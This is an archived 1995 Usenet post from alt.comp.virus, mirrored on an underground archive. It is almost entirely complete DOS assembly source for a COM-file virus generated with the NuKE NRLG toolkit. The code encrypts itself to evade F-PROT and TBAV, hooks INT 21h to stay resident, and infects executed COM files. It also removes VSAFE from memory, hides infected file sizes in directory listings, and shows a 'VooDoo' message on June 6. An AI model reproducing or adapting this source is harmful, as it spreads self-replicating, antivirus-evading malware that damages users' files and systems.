home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / n / nukevir.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  23.6 KB  |  471 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
  3. From: yojimbo@crl.com (Douglas Mauldin)
  4. Newsgroups: alt.comp.virus
  5. Subject: Re: Not-So-Destructive Virii...<post please>
  6. Date: 6 Feb 1995 21:44:13 -0800
  7. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  8. Lines: 450
  9. Message-ID: <3h71bd$js1@crl.crl.com>
  10. References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
  11. NNTP-Posting-Host: crl.com
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14. ; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic 
  15. ; Life Generator). All it does is display a message on June 6th ( I believe).
  16.  
  17. ;┌────────────────────────────────────────────────────────┐
  18. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  19. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  20. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  21. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  22. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  23. ;└────────────────────────────────────────────────────────┘
  24.  
  25. .286
  26. code    segment
  27. assume cs:code,ds:code
  28. org  100h
  29.  
  30. start:  CALL NEXT 
  31.  
  32. NEXT:  
  33.        mov di,sp             ;take the stack pointer location 
  34.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  35.        sub bp,offset next    ;subtract the large code off this code 
  36.                              ;
  37. ;*******************************************************************
  38. ;                      #1 DECRYPT ROUTINE                               
  39. ;*******************************************************************
  40.  
  41. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  42. je crypt2                    ;yes! not decrypt              
  43. ;----------------------------------------------------------                                          
  44. mov cx,offset fin            ;cx = large of virus               
  45. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  46. mov dx,1                     ;dx = value for decrypt          
  47. ;----------------------------------------------------------                                                   
  48. deci:                        ;deci = fuck label!                                    
  49. ;----------------------------------------------------------
  50.  
  51.  inc byte ptr [di]
  52. sub word ptr [di],0381h
  53.  inc di
  54. inc di
  55. ;----------------------------------------------------------                                                
  56. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  57. mov ah,4ch
  58. int 21h
  59. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  60. ;-----------------------------------------------------------                               
  61. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  62. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  63. ;----------------------------------------------------------                                   
  64. loop deci                    ;repeat please!               
  65.                              ;           
  66. ;*****************************************************************
  67. ;                   #2 DECRYPT ROUTINE                                                    
  68. ;*****************************************************************
  69.                               ;    
  70. crypt:                        ;fuck label!                  
  71.                               ;                
  72. mov cx,offset fin             ;cx = large of virus                 
  73. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  74. ;---------------------------------------------------------------                                              
  75. deci2:                        ;              
  76. xor byte ptr cs:[di],1        ;decrytion rutine          
  77. inc di                        ;very simple...            
  78. loop deci2                    ;           
  79. ;---------------------------------------------------------------
  80. crypt2:                       ;fuck label!          
  81.                               ;                  
  82. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  83. INT 21H                       ;for chek "I'm is residet?"   
  84. CMP Bh,0CAH                   ;is equal to CACA?
  85. JE PUM2                       ;yes! jump to runnig program
  86. call action
  87. ;*****************************************************************
  88. ; NRLG FUNCTIONS  (SELECTABLE)
  89. ;*****************************************************************
  90.  
  91.  call ANTI_V
  92. ;****************************************************************
  93. ;               PROCESS TO REMAIN RESIDENT                                                                  
  94. ;****************************************************************   
  95.  
  96. mov   ax,3521h                  
  97. int   21h                        ;store the int 21 vectors 
  98. mov   word ptr [bp+int21],bx     ;in cs:int21
  99. mov   word ptr [bp+int21+2],es   ;
  100. ;---------------------------------------------------------------
  101. push cs                          ; 
  102. pop ax                           ;ax = my actual segment                             
  103. dec ax                           ;dec my segment for look my MCB
  104. mov es,ax                        ;
  105. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  106. ;---------------------------------------------------------------
  107. push cs                          ;   
  108. pop es                           ;   
  109. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  110. sub bx,17 + offset fin           ;and 100H for the PSP total
  111. mov ah,4ah                       ;used memory
  112. int 21h                          ;put the new value to MCB
  113. ;---------------------------------------------------------------
  114. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  115. mov ah,48h                      ;                              
  116. int 21h                         ;request the memory to fuck DOS!                                                 
  117. ;---------------------------------------------------------------
  118. dec ax                          ;ax=new segment 
  119. mov es,ax                       ;ax-1= new segment MCB 
  120. mov byte ptr es:[1],8           ;put '8' in the segment
  121. ;--------------------------------------------------------------                                
  122. inc ax                          ; 
  123. mov es,ax                       ;es = new segment
  124. lea si,[bp + offset start]      ;si = start of virus 
  125. mov di,100h                     ;di = 100H (psp position) 
  126. mov cx,offset fin - start       ;cx = lag of virus
  127. push cs                         ;
  128. pop ds                          ;ds = cs
  129. cld                             ;mov the code
  130. rep movsb                       ;ds:si >> es:di
  131. ;--------------------------------------------------------------
  132. mov dx,offset virus             ;dx = new int21 handler
  133. mov ax,2521h                    ;
  134. push es                         ; 
  135. pop ds                          ; 
  136. int 21h                         ;set the vectors 
  137. ;-------------------------------------------------------------
  138. pum2:                               ;  
  139.                                     ; 
  140. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  141. mov byte ptr cs:[100h],ah           ;first bytes  
  142. mov ax,word ptr [cs:bp + real + 1]  ;
  143. mov word ptr cs:[101h],ax           ;
  144. ;-------------------------------------------------------------
  145. mov ax,100h                         ;
  146. jmp ax                              ;jmp to execute
  147.                                     ;
  148. ;*****************************************************************
  149. ;*             HANDLER FOR THE INT 21H                                       
  150. ;*****************************************************************
  151.                           ;          
  152. VIRUS:                    ;  
  153.                           ;     
  154. cmp ah,4bh                ;is a 4b function? 
  155. je REPRODUCCION           ;yes! jump to reproduce !
  156. cmp ah,11h
  157. je dir
  158. cmp ah,12h
  159. je dir
  160. dirsal:
  161. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  162. jne a3                    ;no! jump to a3
  163. mov bh,0cah               ;yes! put ca in bh
  164. a3:                       ;
  165. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  166. ret                       ;    
  167. make db '[NuKE] N.R.L.G. AZRAEL'
  168. dir:
  169. jmp dir_s
  170. ;-------------------------------------------------------------
  171. REPRODUCCION:              ;       
  172.                            ;
  173. pushf                      ;put the register
  174. pusha                      ;in the stack
  175. push si                    ;
  176. push di                    ;
  177. push bp                    ;
  178. push es                    ;
  179. push ds                    ;
  180. ;-------------------------------------------------------------
  181. push cs                    ;  
  182. pop ds                     ;  
  183. mov ax,3524H               ;get the dos error control                      
  184. int 21h                    ;interupt                        
  185. mov word ptr error,es      ;and put in cs:error                      
  186. mov word ptr error+2,bx    ;            
  187. mov ax,2524H               ;change the dos error control                    
  188. mov dx,offset all          ;for my "trap mask"                      
  189. int 21h                    ;         
  190. ;-------------------------------------------------------------
  191. pop ds                     ;
  192. pop es                     ;restore the registers
  193. pop bp                     ;
  194. pop di                     ;
  195. pop si                     ;
  196. popa                       ;
  197. popf                       ;
  198. ;-------------------------------------------------------------
  199. pushf                      ;put the registers
  200. pusha                      ;     
  201. push si                    ;HEY! AZRAEL IS CRAZY?
  202. push di                    ;PUSH, POP, PUSH, POP
  203. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  204. push es                    ;PURIFY THIS SHIT!
  205. push ds                    ;
  206. ;-------------------------------------------------------------
  207. mov ax,4300h                 ;       
  208. int 21h                      ;get the file     
  209. mov word ptr cs:[attrib],cx  ;atributes   
  210. ;-------------------------------------------------------------
  211. mov ax,4301h                 ;le saco los atributos al        
  212. xor cx,cx                    ;file 
  213. int 21h                      ;
  214. ;-------------------------------------------------------------  
  215. mov ax,3d02h                 ;open the file 
  216. int 21h                      ;for read/write
  217. mov bx,ax                    ;bx=handle
  218. ;-------------------------------------------------------------
  219. mov ax,5700h                ;     
  220. int 21h                     ;get the file date  
  221. mov word ptr cs:[hora],cx   ;put the hour    
  222. mov word ptr cs:[dia],dx    ;put the day    
  223. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  224. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  225. jne seguir                  ;yes! the file is infected!     
  226. jmp cerrar                  ;
  227. ;------------------------------------------------------------
  228. seguir:                     ;     
  229. mov ax,4202h                ;move the pointer to end
  230. call movedor                ;of the file
  231. ;------------------------------------------------------------
  232. push cs                     ;   
  233. pop ds                      ; 
  234. sub ax,3                    ;calculate the 
  235. mov word ptr [cs:largo],ax  ;jmp long
  236. ;-------------------------------------------------------------
  237. mov ax,04200h               ;move the pointer to  
  238. call movedor                ;start of file
  239. ;----------------------------------------------------------                                          
  240. push cs                     ;   
  241. pop ds                      ;read the 3 first bytes  
  242. mov ah,3fh                  ;                           
  243. mov cx,3                    ;
  244. lea dx,[cs:real]            ;put the bytes in cs:[real]
  245. int 21h                     ;
  246. ;----------------------------------------------------------                                          
  247. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  248. jne er1                         ;yes! is a EXE... fuckkk!
  249. ;----------------------------------------------------------
  250. jmp cerrar
  251. er1:
  252. ;----------------------------------------------------------                                          
  253. mov ax,4200h      ;move the pointer                               
  254. call movedor      ;to start fo file
  255. ;----------------------------------------------------------                                          
  256. push cs           ;       
  257. pop ds            ; 
  258. mov ah,40h        ;  
  259. mov cx,1          ;write the JMP
  260. lea dx,[cs:jump]  ;instruccion in the
  261. int 21h           ;fist byte of the file
  262. ;----------------------------------------------------------                                          
  263. mov ah,40h         ;write the value of jmp
  264. mov cx,2           ;in the file 
  265. lea dx,[cs:largo]  ; 
  266. int 21h            ;
  267. ;----------------------------------------------------------                                          
  268. mov ax,04202h      ;move the pointer to 
  269. call movedor       ;end of file
  270. ;----------------------------------------------------------                                          
  271. push cs                     ;        
  272. pop ds                      ;move the code  
  273. push cs                     ;of my virus      
  274. pop es                      ;to cs:end+50     
  275. cld                         ;for encrypt          
  276. mov si,100h                 ;    
  277. mov di,offset fin + 50      ;      
  278. mov cx,offset fin - 100h    ;        
  279. rep movsb                   ;      
  280. ;----------------------------------------------------------                                          
  281. mov cx,offset fin           
  282. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  283. enc:                              ;           
  284. xor byte ptr cs:[di],1            ;encrypt the virus              
  285. inc di                            ;code                   
  286. loop enc                          ;              
  287. ;---------------------------------------------------------
  288. mov cx,offset fin           
  289. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  290. mov dx,1
  291. enc2:                              ;           
  292.  
  293.  add word ptr [di],0381h
  294. dec byte ptr [di]
  295.  inc di
  296. inc di                             ;the virus code                  
  297. loop enc2                          ;              
  298. ;--------------------------------------------
  299. mov ah,40h                       ;  
  300. mov cx,offset fin - offset start ;copy the virus              
  301. mov dx,offset fin + 50           ;to end of file
  302. int 21h                          ;
  303. ;----------------------------------------------------------                                          
  304. cerrar:                          ;
  305.                                  ;restore the       
  306. mov ax,5701h                     ;date and time    
  307. mov cx,word ptr cs:[hora]        ;file   
  308. mov dx,word ptr cs:[dia]         ;     
  309. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  310. int 21h                          ; 
  311. ;----------------------------------------------------------                                          
  312. mov ah,3eh                       ; 
  313. int 21h                          ;close the file
  314. ;----------------------------------------------------------                                          
  315. pop ds                           ;
  316. pop es                           ;restore the 
  317. pop bp                           ;registers
  318. pop di                           ; 
  319. pop si                           ;
  320. popa                             ;
  321. popf                             ;
  322. ;----------------------------------------------------------                                          
  323. pusha                           ;   
  324.                                 ;                                                             
  325. mov ax,4301h                    ;restores the atributes 
  326. mov cx,word ptr cs:[attrib]     ;of the file  
  327. int 21h                         ;   
  328.                                 ;
  329. popa                            ; 
  330. ;----------------------------------------------------------                                          
  331. pushf                           ;                           
  332. pusha                           ; 8-(  = f-prot                       
  333. push si                         ;                       
  334. push di                         ; 8-(  = tbav   
  335. push bp                         ;                       
  336. push es                         ; 8-)  = I'm                        
  337. push ds                         ;                              
  338. ;----------------------------------------------------------                                          
  339. mov ax,2524H                    ;                         
  340. lea bx,error                    ;restore the                         
  341. mov ds,bx                       ;errors handler      
  342. lea bx,error+2                  ;                         
  343. int 21h                         ;                       
  344. ;----------------------------------------------------------                                          
  345. pop ds                          ;
  346. pop es                          ;
  347. pop bp                          ;restore the 
  348. pop di                          ;resgisters
  349. pop si                          ;
  350. popa                            ;
  351. popf                            ;
  352. ;----------------------------------------------------------                                          
  353. JMP A3                          ;jmp to orig. INT 21
  354.                                 ;
  355. ;**********************************************************
  356. ;           SUBRUTINES AREA
  357. ;**********************************************************
  358.                                 ;
  359. movedor:                        ;   
  360.                                 ; 
  361. xor cx,cx                       ;use to move file pointer         
  362. xor dx,dx                       ;       
  363. int 21h                         ;        
  364. ret                             ;        
  365. ;----------------------------------------------------------                                          
  366. all:                            ;  
  367.                                 ; 
  368. XOR AL,AL                       ;use to set 
  369. iret                            ;error flag
  370.  
  371. ;***********************************************************
  372. ;         DATA AREA
  373. ;***********************************************************
  374. largo  dw  ?
  375. jump   db  0e9h
  376. real   db  0cdh,20h,0
  377. hora   dw  ?
  378. dia    dw  ?
  379. attrib dw  ?
  380. int21  dd  ?
  381. error  dd  ?
  382.  
  383.  ;---------------------------------
  384. action:                          ;Call label      
  385. MOV AH,2AH                       ;        
  386. INT 21H                          ;get date           
  387. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  388. JE  cont                         ;nop! fuck ret          
  389. cmp byte ptr cs:[action_dia+bp],32  ;
  390. jne no_day                       ;
  391. cont:                            ; 
  392. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  393. je set                           ;
  394. cmp byte ptr cs:[action_mes+bp],13  ;
  395. jne NO_DAY                       ;nop! fuck ret           
  396. set:                             ; 
  397. mov AH,9                         ;yeah!!          
  398. MOV DX,OFFSET PAO                ;print my text!         
  399. INT 21H                          ;now!   
  400. INT 20H                          ;an finsh te program        
  401. NO_DAY:                          ;label to incorrect date              
  402. ret                              ;return from call 
  403. ;---------------------------------
  404.  
  405.  
  406. PAO:
  407. DB 10,13,'Congratulations! You Have Been  infected by VooDoo...           Compliments of HeadHunter     ','$'
  408.  
  409. ;---------------------------------
  410. ANTI_V:                          ; 
  411. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  412. MOV DX,5945H                     ; 
  413. INT 21H                          ;           
  414. ret                              ;
  415. ;---------------------------------
  416.  
  417.  ;*****************************************************
  418. dir_s:                                                               
  419.              pushf                                                         
  420.              push    cs                                                    
  421.              call    a3                      ;Get file Stats                       
  422.              test    al,al                   ;Good FCB?                            
  423.              jnz     no_good                 ;nope                                 
  424.              push    ax                                                 
  425.              push    bx                                                    
  426.              push    es                                                    
  427.              mov     ah,51h                  ;Is this Undocmented? huh...          
  428.              int     21h                                                   
  429.              mov     es,bx                                                 
  430.              cmp     bx,es:[16h]                                           
  431.              jnz     not_infected                        
  432.              mov     bx,dx                                                 
  433.              mov     al,[bx]                                               
  434.              push    ax                                                    
  435.              mov     ah,2fh                   ;Get file DTA                         
  436.              int     21h                                                   
  437.              pop     ax                                                    
  438.              inc     al                                                    
  439.              jnz     fcb_okay                                              
  440.              add     bx,7h                                                 
  441. fcb_okay:    mov     ax,es:[bx+17h]                                   
  442.              and     ax,1fh                   ;UnMask Seconds Field                 
  443.              xor     al,byte ptr cs:fechad                                      
  444.              jnz     not_infected                                            
  445.              and     byte ptr es:[bx+17h],0e0h                            
  446.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  447.              sbb     es:[bx+1fh],ax                                        
  448. not_infected:pop     es                                                    
  449.              pop     bx                                                    
  450.              pop     ax                                                    
  451. no_good:     iret                                                          
  452. ;********************************************************************
  453. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  454. ;*********************************************************************
  455.  
  456.  action_dia Db 06H ;day for the action
  457. action_mes Db 06H ;month for the action
  458. FECHA DW 01eH ;Secon for mark
  459. FECHAd Db 01eH ;Secon for mark dir st
  460. fin:
  461. code ends
  462. end start
  463.  
  464.  
  465. --
  466. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  467. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  468. Student at the Northeatstern University College of Computer Science 
  469. "I Can't Believe It's Not Butter"
  470.  
  471.